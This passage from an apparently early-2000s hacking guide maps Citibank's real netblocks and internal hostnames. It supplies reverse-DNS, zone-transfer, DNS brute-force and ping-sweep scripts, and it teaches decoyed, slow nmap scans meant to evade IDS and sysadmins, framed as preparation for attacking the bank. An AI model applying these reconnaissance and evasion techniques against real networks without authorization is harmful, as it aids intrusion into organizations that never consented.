200.42.11.80-200.42.11.87
203.66.184.0-203.66.184.255
203.66.185.0-203.66.185.255
205.147.21.161-205.147.21.168
208.132.249.0-208.132.249.31
208.138.110.0-208.138.110.255
208.231.68.0-208.231.68.255
208.44.107.32-208.44.107.63
208.46.142.160-208.46.142.175
208.58.129.224-208.58.129.239
213.25.206.44-213.25.206.47
213.61.189.96-213.61.189.127
216.233.123.104-216.233.123.111
216.233.22.128-216.233.22.135
216.233.56.176-216.233.56.183
216.233.56.184-216.233.56.191
216.233.97.64-216.233.97.71
62.157.214.240-62.157.214.247
62.184.117.0-62.184.117.255
62.200.100.0-62.200.100.31
62.225.11.144-62.225.11.151
63.236.56.224-63.236.56.255
63.67.86.0-63.67.86.255
63.71.124.192-63.71.124.255
63.72.243.0-63.72.243.255
63.74.88.64-63.74.88.79
63.80.165.128-63.80.165.159
Class C +:
199.228.157.0-199.228.159.0
198.73.228.0-198.73.239.0
194.41.64.0-194.41.95.255
193.32.128.0-193.32.159.255
159.17.0.0-159.17.255.255
161.75.0.0-161.75.255.255
163.35.0.0-163.39.255.255
169.160.0.0-169.195.0.0
192.193.0.0-193.192.255.255

Routed or not?

Given the sheer size of the Class C + netblocks, it would take forever to do a reverse scan or traceroute to all the blocks. The European and some of the American blocks seems very straight forward - most of them are only parts of a subnet. Why not find out which networks in the larger netblocks are routed on the Internet? How do we do this? Only the core routers on the Internet know which networks are routed. We can get access to these routers - very easily, and totally legally. Such a router is *route1.saix.net.* We simply telnet to this giant of a Cisco router, do a *show ip route | include [start of large netblock]* and capture the output. This core router contains over 40 000 routes. Having done this for the larger netblocks, we find the following:

```
199.228.157.0-199.228.159.0 None
198.73.228.0-198.73.239.0 None
194.41.64.0-194.41.95.255 None
193.32.128.0-193.32.159.255
193.32.161.0/24
193.32.254.0/24
193.32.208.0/23
193.32.192.0/20
193.32.176.0/20
159.17.0.0-159.17.255.255 None
161.75.0.0-161.75.255.255 None
163.35.0.0-163.39.255.255 None
169.160.0.0-169.195.0.0 None
192.193.0.0-192.193.255.255
192.193.183.0/24
192.193.192.0/24
192.193.73.0/24
192.193.182.0/24
192.193.208.0/24
192.193.193.0/24
192.193.74.0/24
192.193.194.0/24
192.193.211.0/24
192.193.75.0/24
192.193.180.0/24
192.193.210.0/24
192.193.195.0/24
192.193.196.0/24
192.193.77.0/24
192.193.201.0/24
192.193.172.0/24
192.193.188.0/24
192.193.187.0/24
192.193.186.0/24
192.193.70.0/24
192.193.184.0/24
192.193.71.0/24
```

Traceroute & world domination

The blocks not marked with a "none" are routed on the Internet today. Where are these plus the smaller blocks routed? Since a complete class C network is routed to the same place, we can traceroute to a arbitrary IP within the block. We proceed to do so, tracerouting to the next available IP in the block (e.g. for netblock 62.157.214.240 we would trace to 62.157.214.241) in each netblock. Looking at the last confirmed hop in the traceroute should tell us more about the location of the block. Most of the European blocks are clearly defined - but what about the larger blocks such as the 192.193.0.0 block and the 193.32.0.0 block? The information gained is very interesting:

```
62.157.214.240-62.157.214.247       Germany
62.184.117.0/24                     Not routed
62.200.100.0-62.200.100.31          Germany
62.225.11.144-62.225.11.151         Germany
63.236.56.224-63.236.56.255         USA
63.67.86.0/24                       USA
63.71.124.192-63.71.124.255         USA
63.72.243.0/24                      USA
63.74.88.64-63.74.88.79             USA
63.80.165.128-63.80.165.159         USA
192.132.9.0/24                      Not routed
192.148.191.0/24                    Not routed
192.193.172.0/24                    USA
192.193.180.0/24                    USA
192.193.182.0/24                    USA
192.193.183.0/24                    USA
192.193.184.0/24                    USA
192.193.186.0/24                    USA
192.193.187.0/24                    USA
192.193.188.0/24                    USA
192.193.192.0/24                    USA
192.193.193.0/24                    USA
```

192.193.194.0/24	USA
192.193.195.0/24	USA
192.193.196.0/24	USA
192.193.201.0/24	USA
192.193.208/24	USA
192.193.210.0/24	USA
192.193.211.0/24	USA
192.193.70.0/24	Singapore
192.193.71.0/24	USA
192.193.73.0/24	Singapore
192.193.74.0/24	Philippines
192.193.75.0/24	Singapore
192.193.77.0/24	Japan
192.209.110.0/24	Not routed
192.209.111.0/24	Not routed
192.209.120.0/24	Not routed
192.246.55.0/24	Not routed
192.48.247.0/24	Not routed
193.32.128.0/24	Not routed
193.32.161.0/24	UK
193.32.176.0/20	UK
193.32.192.0/20	UK
193.32.208.0/23	UK
193.32.254.0/23	UK
194.108.183.32-194.108.183.47	Czech Republic
194.50.218.0/24	Not routed
194.69.69.160-194.69.69.167	Not routed
195.183.49.128-195.183.49.143	Not routed
195.235.80.200-195.235.80.207	UK
195.75.113.0/24	Germany
196.28.49.0-196.28.49.31	USA
200.42.11.80-200.42.11.87	Argentina
203.197.24.0/24	India
203.66.184.0/24	Taiwan
203.66.185.0/24	Taiwan
205.147.21.161-205.147.21.168	USA
208.132.249.0-208.132.249.31	USA
208.138.110.0/24	USA
208.231.68.0/24	USA
208.44.107.32-208.44.107.63	USA
208.46.142.160-208.46.142.175	USA
208.58.129.224-208.58.129.239	USA
213.25.206.44-213.25.206.47	Poland
213.61.189.96-213.61.189.127	Germany
216.233.123.104-216.233.123.111	USA
216.233.22.128-216.233.22.135	USA
216.233.56.176-216.233.56.183	USA
216.233.56.184-216.233.56.191	USA
216.233.97.64-216.233.97.71	USA

It is interesting to note that none of the 192.193 IP blocks are routed to Europe. Citibank has thus registered unique individual blocks for Europe based branches, and are routing some of its 192.193 class B class Cs to Asia. It seems that many of the Citibank websites are running on "ISP blocks". If the idea is to get to the core of Citibank these sites might not be worthwhile to attack, as we are not sure that there is any connection with back-ends (sure, we cannot be sure that the Citibank registered blocks are more interesting, but at least we know that Citibank is responsible for those blocks).

Taking all mentioned information into account, we can start to build a map of Citibank around the globe. This exercise is left for the reader :)).

Reverse DNS entries

As promised, the next step would be reverse resolve scanning some nets. By doing this we could possibly see interesting reverse DNS names that might give away information about the host. We proceed to reverse scan all the mentioned blocks, as well as the corresponding class C block of the IPs that does not fall in above mentioned blocks (the ISP-like blocks). Extracts of the reverse scan looks like this:

```
1.195.193.192.IN-ADDR.ARPA domain name pointer global1.citicorp.com
2.195.193.192.IN-ADDR.ARPA domain name pointer global2.citicorp.com
3.195.193.192.IN-ADDR.ARPA domain name pointer global3.citicorp.com
4.195.193.192.IN-ADDR.ARPA domain name pointer global4.citicorp.com
119.195.193.192.IN-ADDR.ARPA domain name pointer arrow1.citicorp.com
119.195.193.192.IN-ADDR.ARPA domain name pointer arrow1-a.citicorp.com
120.195.193.192.IN-ADDR.ARPA domain name pointer global120.citicorp.com
150.195.193.192.IN-ADDR.ARPA domain name pointer fw-a-pri.ems.citicorp.com
151.195.193.192.IN-ADDR.ARPA domain name pointer fw-b-pri.ems.citicorp.com
192.195.193.192.IN-ADDR.ARPA domain name pointer egate3.citicorp.com
194.195.193.192.IN-ADDR.ARPA domain name pointer egate.citicorp.com
232.195.193.192.IN-ADDR.ARPA domain name pointer iss-pix11.citicorp.com
233.195.193.192.IN-ADDR.ARPA domain name pointer iss-pix12.citicorp.com
234.195.193.192.IN-ADDR.ARPA domain name pointer nr1.citicorp.com
121.196.193.192.IN-ADDR.ARPA domain name pointer qapbgweb1.pbg.citicorp.com
122.196.193.192.IN-ADDR.ARPA domain name pointer qapbgweb1b.pbg.citicorp.com
123.196.193.192.IN-ADDR.ARPA domain name pointer qapbgweb3a.pbg.citicorp.com
231.196.193.192.IN-ADDR.ARPA domain name pointer iss2.citicorp.com
232.196.193.192.IN-ADDR.ARPA domain name pointer iss-pix21.citicorp.com
233.196.193.192.IN-ADDR.ARPA domain name pointer iss-pix22.citicorp.com
190.74.128.210.IN-ADDR.ARPA domain name pointer telto-gw.dentsu.co.jp
190.74.128.210.IN-ADDR.ARPA domain name pointer citibank-gw.dentsu.co.jp
192.74.128.210.IN-ADDR.ARPA domain name pointer webby-gcom-net.dentsu.co.jp
10.38.193.192.IN-ADDR.ARPA domain name pointer pbgproxy1a.pbg.citicorp.com
11.38.193.192.IN-ADDR.ARPA domain name pointer pbgproxy1b.pbg.citicorp.com
12.38.193.192.IN-ADDR.ARPA domain name pointer pbggd1a.pbg.citicorp.com
53.73.193.192.IN-ADDR.ARPA domain name pointer www.citicommerce.com
```

Most of the non-192.193 block does not resolve to anything. Some of the 192.193 reverse DNS names tells us about the technology used. There are PIX firewalls (nr-pix21.citicorp.com_), possible ISS scanners or IDS systems (iss2.citicorp.com) and proxy servers (cd-proxy.citicorp.com). We also see that there are other Citibank-related domains - citicorp.com, citicorpmortgage.com, citimarkets.com, citiaccess.com and citicommerce.com. It can clearly be seen that most of the IP numbers reverse resolves to the citicorp.com domain. There are sub-domains within the Citicorp domain - ems.citicorp.com, pki.citicorp.com, pbg.citicorp.com and edc.citicorp.com.

How do we get reverse entries for hosts? Well – there is two ways. Just as you can do a Zone Transfer for a domain, you can do a Zone transfer for a netblock. Really. Check this out:

```
#host -l 74.128.210.in-addr.arpa
74.128.210.in-addr.arpa name server www.inter.co.jp
74.128.210.in-addr.arpa name server ns1.iij.ad.jp
126.74.128.210.in-addr.arpa domain name pointer cabinet-gw.dentsu.co.jp
128.74.128.210.in-addr.arpa domain name pointer telto-net.dentsu.co.jp
etc. etc.
```

And just as some Zone Transferes are denied on some domains, some ZTs are also denied on netblocks. This does not keep us from getting the actual reverse DNS entry. If we start at getting the reverse DNS entry for 210.128.74.1 and end at 210.128.74.255 (one IP at a time), we still have the complete block. See the script reversescan.pl at the end of the chapter for how to do it nicely.

Summary

To attack a target you must know where the target is. On numerous occasions we have seen that attacking the front door is of no use. Rather attack a branch or subsidiary and attack the main network from there. If a recipe exists for mapping a network from the Internet it would involve some or all of the following steps:

- Find out what "presence" the target has on the Internet. This include looking at web server-, mail exchanger and NS server IP addresses. If a zone transfer can be done it is a bonus. Also look for similar domains (in our case it included checks for all country extensions

(with .com and .co appended) and the domain citicorp.com) It might involve looking at web page content, looking for partners and affiliates. Its mainly mapping known DNS names to IP address space.

- Reverse DNS scanning will tell you if the blocks the target it is contains more equipment that belongs to the target. The reverse names could also give you an indication of the function and type of equipment.
- Finding more IP addresses - this can be done by looking if the target owns the netblock were the mail exchanger/web server/name server is located. It could also include looking at the Registries (APNIC,RIPE and ARIN) for additional netblocks and searches where possible.
- Tracerouting to IP addresses within the block to find the actual location of the endpoints. This helps you to get an idea which blocks bound together and are physically located in the same spot.
- Look at routing tables on core routers. Find out which parts of the netblocks are routed - it makes no sense to attack IP numbers that is not routed over the Internet.

The tools used in this section are actually quite simple. They are the Unix "*host*" command, "*traceroute*", and a combination of PERL, AWK, and standard Unix shell scripting. I also used some websites that might be worth visiting:

- APNIC http://www.apnic.net (Asian pacific)
- RIPE http://www.ripe.net/cgi-bin/WHOIS (Euopean)
- ARIN http://www.arin.net/WHOIS/index.html (American)

For completeness sake I put the (really not well written) shell and PERL scripts here. They are all very simple...:

Reversescanner.pl:

(the input for this script is a IP range e.g. 160.124.19.0-160.124.19.100. Output is sent to STDOUT so >& it...)

```
#!/usr/bin/perl
# Usage: perl reversecanner.pl 160.124.19.0-160.124.19.100
$|=1;
@een=split(/-/,@ARGV[0]);
@ip1=split(/\./,@een[0]);
@ip2=split(/\./,@een[$#een]);
for ($a=@ip1[0]; $a<1+@ip2[0]; $a++) {
for ($b=@ip1[1]; $b<1+@ip2[1]; $b++) {
for ($c=@ip1[2]; $c<1+@ip2[2]; $c++) {
for ($d=@ip1[3]; $d<1+@ip2[3]; $d++) {
print "$a.$b.$c.$d : ";
system "host $a.$b.$c.$d";
}}}}
```

Tracerouter.pl:

Input is a network or subnet e.g. 160.124.19.10. Output is to STDOUT so >& it. It takes the next IP in the specified input block and trace to it. (the script also provides for the a.b.c.d-w.x.y.z input format as the reversescanner)

```
#!/usr/bin/perl
# Usage: perl tracerouter.pl 160.124.21.92
@een=split(/-/,@ARGV[0]);
@ip1=split(/\./,@een[0]);
my $string;
$string=@ip1[0].".".@ip1[1].".".@ip1[2].".".(1+@ip1[3]);
system "traceroute -m 50 $string";
```

Domain_info.sh:

All the domains you want to investigate should be in a file called "domains". Output is appended to file called "all". Change as you wish...:)

```
#!/usr/local/bin/tcsh
foreach a (`cat domains`)
echo " " >> all
echo ====Domain: $a >> all
echo --Zone transfer: >> all
host -l $a >> all
echo --Webserver: >> all
host www.$a >> all
echo --Nameservers: >> all
host -t ns $a >> all
echo --Mailservers: >> all
host -t mx $a >> all
continue
end
```

Get_routes.pl:

This perl script logs into core router route1.saix.net and displays to STDOUT the routing tables that matches any given net. Input field is the route search term (makes use of the Net::*Telnet* module that can be found on CPAN).

```
#!/usr/local/bin/perl
#Usage: perl get_routes.pl 192.193
use Net::Telnet ();
$t = new Net::Telnet (Timeout => 25,Prompt=>'/\>/');
$t->open("route1.saix.net");
$soeker=@ARGV[0];
$t->waitfor('/>/');
@return=$t->cmd("terminal length 0");
@return=$t->cmd("show ip route | include $soeker");
print "@return\n";
```

The rest of the results were compiled using these tools in scripts or piping output to other ad hoc scripts, but this is not worth listing here.

Added later: hey! I wrote a script that does a lot of these things for you automatically. It uses a nifty tool called "The *Geektools* proxy", written by a very friendly chap named Robb Ballard <robb@centergate.com> . Before you try this, ask Robb if you may have the PERL code to the script – he is generally a cool dude, and without it you miss a lot of functionality. Oh BTW, it also uses Lynx for site crawling. Hereby the code (its really lots of glue code – so bear with me):

```
#!/usr/bin/perl
use Socket;
$domain=@ARGV[0];
$nameserver="196.4.160.2";

sub qprint
{
  open(db,">>$domain.report") || die "Couldnt open quickwrite\n";
  print db @_;
  close (db);
}

open (IN,"@ARGV[1]") || die "Couldnt open brute force DNS names file\n";
while (<IN>){
 chomp;
 @tries[$i]=$_;
 $i++;
}
qprint "==Report begin\n";
################################first get the www record
@results=`host -w www.$domain $nameserver`;
if ($#results<1) {qprint "No WWW records\n";}
else
{
 foreach $line (@results) {
  if ($line =~ /has address/) {
```

```
   @quick=split(/has address /,$line);
   $www=@quick[1]; chomp $www;
   qprint "Webserver have address $www\n";
  }
 }
}
$counter=0;
################################### MX records
$counter=0; @mxdb=();
@results=`host -w -t mx $domain $nameserver`;
if ($#results<1) {qprint "No MX records\n";}
else {
 foreach $line (@results) {
  @quick=split(/by /,$line);
  @pre=split(/pri=/,$line);
  @pre1=split(/\)/,@pre[1]);
  $mx=@quick[1];
  chomp $mx;
  if (length($mx)>0) {
   @resolve=`host -w $mx $nameserver`;
   foreach $line2 (@resolve) {
    chomp $line2;
    if ($line2 =~ /has address/) {
     @quicker=split(/has address/,$line2);
    }
   }
   $mxip=@quicker[1];
   $mxip=~s/ //g;
   chomp $mxip;
   @ip[$counter]=$mxip;
   qprint "MX record priority @pre1[0] : $mxip\n";
   $counter++;
   }
 }
}
#Check Zonetransfer
@results=`host -w -l $domain`;
if ($#results<2) {
 qprint "==Could not do ZT - going to do brute force\n";
########################################Brute force
 foreach $try (@tries){
  @response=`host $try.$domain`;
  foreach $line (@response){
   if ($line =~ /has address/) {
     @quick=split(/has address /,$line);
     $ip=@quick[1]; chomp $ip;
     $name=@quick[0]; chomp $name;
     qprint " $name: $ip\n";
     @ip[$counter]=$ip;
     @name[$counter]=$name;
     $counter++;
    }
  }
 }
}
###################################### normal ZT
else {
 qprint "==Zone Transfer\n";
 foreach $line (@results){
  if ($line =~ /has address/) {
   @quick=split(/has address /,$line);
   $ip=@quick[1]; chomp $ip;
   $name=@quick[0]; chomp $name;
   qprint " $name: $ip\n";
   @ip[$counter]=$ip;
   @name[$counter]=$name;
   $counter++;
  }
 }
}
################################### PART II ###############Now we want to
check the class Cs
# we have names in @name and ips in @ip
@sip=sort @ip;
@sname=sort @name;
################################class Cs & uniq:
```

```
qprint "\n";
foreach $line (@sip){
 if (!($line =~ /127.0.0.1/)){
  @splitter=split(/\./,$line);
  $classc=@splitter[0].".".@splitter[1].".".@splitter[2];
  $justc{$classc}++;
 }
}
$counter=0;
@sclassc=sort (keys (%justc));
foreach $line (@sclassc){
 @class[$counter]=$line;
 qprint "ClassC with $justc{$line} : $line\n";
 $counter++;
}
foreach $line (@sname){
 $justnames{$line}=1;
}
$counter=0;
@namesl=sort (keys (%justnames));
foreach $line (@namesl){
 @nam[$counter]=$line;
 qprint "names: $line\n";
 $counter++;
}
######################### do some whois - GEEKTOOLS
foreach $subnet (@class){
 qprint "==Geektools whois of block $subnet:\n";
 @response=`perl whois.pl $subnet`;
 qprint @response;
}
################################reversescans
#first try quick way
foreach $subnet (@class){
 @splitter=split(/\./,$subnet);
 $classr=@splitter[2].".".@splitter[1].".".@splitter[0].".in-addr.arpa";
 @results=`host -l $classr`;
 if ($#results<1) {
  qprint "==No reverse entry for block $subnet - have go manual\n";
  for ($d=1; $d<255; $d++) {
   @response=`host $subnet.$d`;
   foreach $line (@response){
    if ($line =~ /pointer/) {
     @quick=split(/domain name pointer /,$line);
     @splitter2=split(/\./,@quick[0]);

$reverse=@splitter2[3].".".@splitter2[2].".".@splitter2[1].".".@splitter2[0];
     qprint $reverse.":".@quick[1];
    }
   }
  }
 }
 else
 {
  qprint "==Reverse lookup for block $subnet permitted\n";
  foreach $line (@results) {
   if ($line =~ /pointer/) {
    @quick=split(/domain name pointer /,$line);
    @splitter2=split(/\./,@quick[0]);

$reverse=@splitter2[3].".".@splitter2[2].".".@splitter2[1].".".@splitter2[0];
    qprint $reverse.":".@quick[1];
   }
  }
 }
}
################################## ping sweeps
foreach $subnet (@class){
 qprint "\n==Nmap pingsweep of subnet $subnet\n\n";
 @results=`nmap -sP -PI $subnet.1-255`;
 qprint @results;
}
#system "rm *.dat";
############################search the webpage
qprint "\n==Doing WWW harvest\n";
@dummy=`lynx -accept_all_cookies -crawl -traversal http://www.$domain`;
```

```
qprint  "http://www.$domain\n";

@response = `cat ./reject.dat`;
foreach $line (@response){
 chomp $line;
 if ($line =~ /http/){
  @splitter=split(/\//,$line);
  $uniql{@splitter[2]}++;
 }
 if ($line =~ /mailto/){
  @splitter=split(/:/,$line);
  $uniqm{@splitter[1]}++;
 }
}
foreach $links (keys (%uniql)){
qprint "External link $uniql{$links} : $links\n";
}
foreach $links (keys (%uniqm)){
qprint "External email $uniqm{$links} : $links\n";
}
```

The file "common" looks like this (its used for guessing common DNS names within a domain(its not really in 3 columns, I just save some trees.)

```
www                             http                            pop3
ftp                             https                           pophost
ns                              hub                             popmail
mail                            ibm                             popserver
3com                            ids                             print
aix                             info                            printer
apache                          inside                          printspool
back                            internal                        private
bastion                         internet                        proxy
bind                            intranet                        proxyserver
border                          ipchains                        public
bsd                             ipfw                            qpop
business                        irix                            raptor
chains                          jet                             read
cisco                           list                            redcreek
content                         lotus                           redhat
corporate                       lotusdomino                     route
cvp                             lotusnotes                      router
debian                          lotusserver                     router
dns                             mail                            scanner
domino                          mailfeed                        screen
dominoserver                    mailgate                        screening
download                        mailgateway                     secure
e-bus                           mailgroup                       seek
e-business                      mailhost                        slackware
e-mail                          maillist                        smail
e-safe                          mailmarshall                    smap
email                           mailpop                         smtp
esafe                           mailrelay                       smtpgateway
external                        mandrake                        smtpgw
extranet                        mimesweeper                     sniffer
firebox                         ms                              snort
firewall                        msproxy                         solaris
freebsd                         mx                              sonic
front                           nameserver                      spool
ftp                             news                            squid
fw                              newsdesk                        sun
fw-                             newsfeed                        sunos
fwe                             newsgroup                       suse
fwi                             newsroom                        switch
gate                            newsserver                      transfer
gatekeeper                      nntp                            trend
gateway                         notes                           trendmicro
gauntlet                        noteserver                      unseen
group                           notesserver                     vlan
help                            ns                              wall
hop                             nt                              web
hp                              openbsd                         webmail
hp-ux                           outside                         webserver
hpjet                           pix                             webswitch
hpux                            pop                             win2000
```

```
win2k                   win98                   ww
win31                   winnt                   www
win95                   write                   xfer
```

Chapter 3: Alive & kicking ?

In the previous chapter we saw how to know **where** your target is. As we have seen, this is not such a simple matter as your target might be a international company (or even a country). Mapping the presence of the target on the Internet is only the first part of gaining intelligence on your target. You still have no idea of the operating system, the service(s) running on the server. At this stage we are still not doing any "hacking", we are only setting the stage for the real fun. If the previous chapter was finding the correct houses, this chapter deal with strolling past the house, peeping through the front gate and maybe even ringing the doorbell to see if anyone answers.

The techniques explained in this chapter could cause warning lights to dimly flash. An alert sysop might notice traces of activity, but as we are legally not doing anything wrong at this stage, it is hard to make a lot of noise about it. We are going to do our best to minimize our level of exposure.

Unrouted nets, NAT

The output of the previous section is lot of IP numbers. We are still not sure that these are all the IP numbers involved - we suspect that it is used. We have netblocks - blocks of IP numbers. Within that block there might be only one host that is even switched on. The first step here is thus to try to find out which machines are actually alive (its of no use to attack a machine that is not plugged into the 'net). The only way to know that a host is actively alive on the 'net is to get some sort of response from the machine. It might be a ICMP ping that is return, it might be that the IP is listed in a bounced mail header, it might be that we see a complete telnet banner.

Companies spend thousands of dollars hiding machines. They use unrouted/experimental IP blocks (10.0.0.0/8 type of thing) and use NAT (network address translation) on their outbound routers or firewalls. They have fancy proxies that'll proxy anything from basic HTTP request to complicated protocols such as Microsoft Netmeeting. They build tunneling devices that will seamlessly connect two or more unrouted/experimental subnets across the Internet. In many cases the main concern for the company is not the fact that they want to hide their IP numbers - the driving force might be that they are running out of legal IP numbers, and the fact that they are hiding the IP blocks is a nice side-effect.

The ratio between legal and illegal IP blocks varies from company to company and from country to country. The South African Telecom use 6 class B networks - all their equipment has legal IP numbers. On the other hand a very well known European telecom used a single IP and NAT their whole network through that IP. As a general rule (very general) one can assume a ratio of legal to illegal netblocks of 1:10. Given that Citibank has over 60 legal netblocks, one can safely assume that they should have many times more illegal netblocks.

The problem with illegal IP blocks is that one cannot discover if machine on an illegal IP number is alive - not directly in anyway. The packets that are suppose to trigger a response simply does not arrive at the correct destination. I have seen many wannabe "Security experts" scanning their own private network whilst thinking that they are in fact scanning a client (with a very worried look in their eyes they then tell the client that they have many problems on their network:)). Other problems that arise are that a client might be using a legal netblock, but that the netblock does not actually belong to them. Some legacy sysop thought it OK to use the same

netblock as the NSA. Scanning this client "legal" netblock might land you in a spot of hot water. When conducting any type of scan, make sure that the netblock is actually routed to the correct location. Another note - if an IP number is connected with a DNS name is does NOT mean the IP number is legal (or belongs to them. Many companies use internal IP numbers in their zone files - for secondary MX records for instance.

Ping - ICMP

Keeping all this in mind, where does one begin to discover which machines are alive? One way might be to *ping* all the hosts in the list. Is this a good idea? There are pros and cons. Pinging a host is not very intrusive - ping one machine on the 'net, and chances are that no-one will notice. Ping a class B in sequential order, and you might raise some eyebrows. What if ICMP is blocked at the border router, or on the firewall? Not only wont you get any results, but also all your attempts will be logged. If a firewall's "deny" log increase tenfold overnight, you can bet on it that it will be noticed. In many cases ICMP ping requests is either blocked completely, or allowed completely. There are exceptions of course (say an external host is pinging a internal host every X minutes to make sure it is alive, and sends alerts when the host is dead), but generally ICMP is either blocked or allowed. I have not seen any hosts that log ICMP ping packets. Thus, if ICMP ping is allowed to enter and leave the network, you can safely ping the whole netblock without anyone noticing. That is - if there are no IDS (intrusion detection system) in place.

An IDS is a system that looks for suspect looking packets - it will pick up on any known signature of an exploit. It then reacts - it might notify the sysadmin, or it might close the connection. Any IDS worth its salt also looks for patterns. If you portscan a host an IDS located between you and the host would pick up that you are trying to open sequential ports on the same IP - portscanning it. So - if you are pingscanning a big network the IDS might spot a pattern and might react. The "signature" that the IDS would pick up is that the IMCP flags are set to "ping request", and that these are coming in at a rapid rate to many machines (see, that is how an IDS picks up on floodping for example).

If we can counter most of the above obstacles, a ping sweep/scan might be a first good indication of hosts that are alive on the netblock. We counter the obstacles by doing the following - we first ping a few random hosts in the netblock (manually) to see if ICMP are allowed to the inside (yes - I know - this is a hit and miss method because in the whole of the class C there can be one IP that is alive, but rather safe than sorry). If we see ANY ICMP reply we assume that ICMP is allowed to the inside, and proceed to ping scan the network very carefully. In this case very carefully mean very slowly, and not in sequence. We also want to try confuse the sysadmin as to who we really are. If we could send packets with fake (or spoofed) IP addresses we could "cloak" ourselves among the other fake IP addresses. Packets with fake IP numbers will be returned, just as the packets to our IP address, but the "non-suspecting" hosts would simply ignore them, as it never knew that it was "sending" it out. How does one go about scanning stealthy and very slowly?

Enter *Nmap* (www.insecure.org/nmap). *Nmap* is a scanner tool build by the good Fyodor of Insecure.org. It is the preferred scanning tool for many security people (good and bad). It has recently been ported to Windows NT as well (by the people at Eeye.com). Without going into the detail of all nmap's option (there are a lot), we find that the command

```
nmap -sP -PI -Tpolite -D10.0.0.1,172.16.1.1 --randomize_hosts <netblock>
```

would do the thing. Let us have a quick look at the different parameters and what they mean. *-sP -PI* mean that we want to ping sweep with ICMP only, -D10.0.0.1,172.16.1.1 mean that we want to send decoys 10.0.0.1 and 172.16.1.1, *-Tpolite* means that we want to scan slowly, and --

randomize_hosts tells nmap to shuffle the destination. Now, obviously you would not use 10.0.0.1 and 172.16.1.1 - that is stupid as the sysadmin will quickly spot your (legal) IP between the rest of the (illegal) IP numbers. A further note - don't be stupid and put Microsoft and the NSA's IP numbers in the decoys - it can be spotted easily. Instead try to use IP numbers that are assigned to public mailservers, and add a public webserver here and there. The more decoys you add the safer you are. There is a balance of course - remember that if ICMP request could be logged. To use or not to use decoys can open large debates - an argument against using decoys could be that if a sysop sees a decoyed pingsweep (it pretty obvious when a large number of IPs starts pinging your hosts all of a sudden) it means that someone has spent the time to cloak him/herself - and this on its own is reason for concern. This concern could lead to investigation, something the sysop would normally not do.

Let us see how well this works in a real life. Let us choose a Citibank netblock that we have discovered - we take a small block in Argentina 200.42.11.80-200.42.11.87. We first do a manual ping of a few machines, and find that 200.42.11.81 is alive...and then it hits like a ton of bricks - this method is not that well designed! Imagine the sysop seeing a failed ping request from MY IP number, then a successful ping request, and after two minutes a "storm" of ping requests from all over the world to the rest of the netblock...and that "storm" containing my IP number. It does not take a rocket scientist to figure out what happened. So - I either have to ping from a totally remote site to establish if ICMP is allowed in, or do use the decoys right from the start.

We choose the first method, and proceed with another netblock. This time we choose the block 63.71.124.192-63.71.124.255 in the US of A. We first manually ping some IPs in the block - from a (undisclosed) offsite location. 63.71.124.198 is found to be alive (I hear you saying - why not do the whole of the ping sweep from the "other" location - well, maybe that "other" location does not have the capabilities to run my carefully crafted scanner, or I do not want to attract ANY attention to that site). We now fire up nmap as mentioned. The complete command is (decoys X-ed out):

```
>nmap -sP -PI -Tpolite -D199.x9.68.1x0,216.1x7.52.33,15x.43.128.26,196.x.160.8
--randomize_hosts 63.71.124.193-254
The output is:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Host (63.71.124.193) appears to be up.
Host (63.71.124.197) appears to be up.
Host (63.71.124.198) appears to be up.
Nmap run completed -- 62 IP addresses (3 hosts up) scanned in 46 seconds
```

Aha! ICMP is allowed into the network, and there are 3 machines responding to it. What do we do if we find or suspect that ICMP is blocked?

Ping -TCP (no service, wrappers, filters)

Method1 (against stateful inspection FWs)

The idea is to find machines that are alive. The way we do this is by sending data to the host and looking if we can see any response. If our data were blocked at the router or firewall it would look as though the machine is dead. The idea is thus to find data that is allowed to pass the filters, and that would trigger a response. Per default just about all operating systems will listen on certain ports (if TCP/IP is enabled). Computers are likely to be connected to the Internet with a purpose - to be a webserver, mailserver, DNS server etc. Thus, chances are that a host that is alive and connected to the Internet is listening on some ports. Furthermore it is likely (less but still) than the firewall or screening router protecting these hosts allows some for of communication to these hosts - communication is less likely to be a one-way affair. Packetfilters uses source IPs, source ports, destination IPs and destination ports (and some flags) as parameters

to decide if a packet will be allowed to enter the network. Normally a firewall will allow the world to communicate to some host or hosts in some form or the other - thus not looking at the source IP address.

The idea would thus be to send a TCP connect on well-known ports and hope that 1) the firewall passes it through 2) the host is listening on the specified port. Given the response of the host, one can determine which of 1) and 2) happened. If we get no response we know that the firewall is blocking us - if we get a response from the server telling us that the port is not open we at least know that it was not filtered by the firewall. Hereby two examples:

```
>telnet wips.sensepost.com 22
Trying 160.124.19.98...
telnet: connect to address 160.124.19.98: Connection refused
telnet: Unable to connect to remote host
```

The host responded by telling us that it is not listening on port 22. It also tells us that there is nothing between us and the host (on port 22). So, if we find that for a certain block a number of hosts returns a "connection refused" while other are return a SSH version (port 22 is SSH) we can safely assume that the firewall is configured to allow anyone to connect to port 22 (anywhere in the netblock). Another example:

```
>telnet wips.sensepost.com 44
Trying 160.124.19.98...
telnet: Unable to connect to remote host: Connection timed out
```

Here the connection to port 25 is timing out - telling us that there are something blocking the packet to arrive at the final destination. Let us assume that we scan a netblock for port 25 and we find that certain hosts answers with a SMTP greeting, while others simply time out. This tells us that the firewall is configured to only allow packets with a certain destination port on a certain destination IP to enter the network. If we find a "connection refused" answer in a the same net we know that someone probably screwed up - the service is not running, but the config on the firewall has not been updated to close the "hole".

A machine that is dead will respond in the same way as a machine that is protected by a firewall that does not allow anything through. Thus, getting no response from a server does not mean that it is heavily firewalled - it might just be switched off, or unplugged.

Thus, getting back to the original argument - sending TCP requests to a number of well known ports might tell us if the machine is indeed alive. This might be useful in a situation where ICMP ping requests or replies are blocked on a firewall. We have no way to know if any hosts are alive but the connect to well-known ports and hope that 1) it is not firewalled and than 2) we get some response (be that "connection refused" or some service response).

The more ports we test for, the more our requests will look like a port scan (it is in fact a port scan - with just a limited amount of ports that are tested), and will trigger an IDS. It the therefore very tricky to decide if this action can be executed without triggering alarms - more so when we are scanning a large netblock. As a general rule, the number of IPs tested times the number of ports tested should not exceed 15. Testing 15 hosts for port 80 is OK, testing 5 IPs for 3 ports are OK etc. This is a very general rule and really depends on your target, the competency level of their technical staff and how anonymous you want to stay (and how lucky you feel).

Let us stay with Citibank (Citibank - I REALLY mean no harm - you are just such a good example network). Using the previous ping technique it seems that a device is blocking ICMP to the 192.193.195.0/24 netblock. We will thus proceed to do a "TCP ping" to 30 hosts (I feel lucky) in the block. I

choose this block because it has interesting reverse DNS entries (see previous section):

```
120.195.193.192.IN-ADDR.ARPA domain name pointer global120.citicorp.com
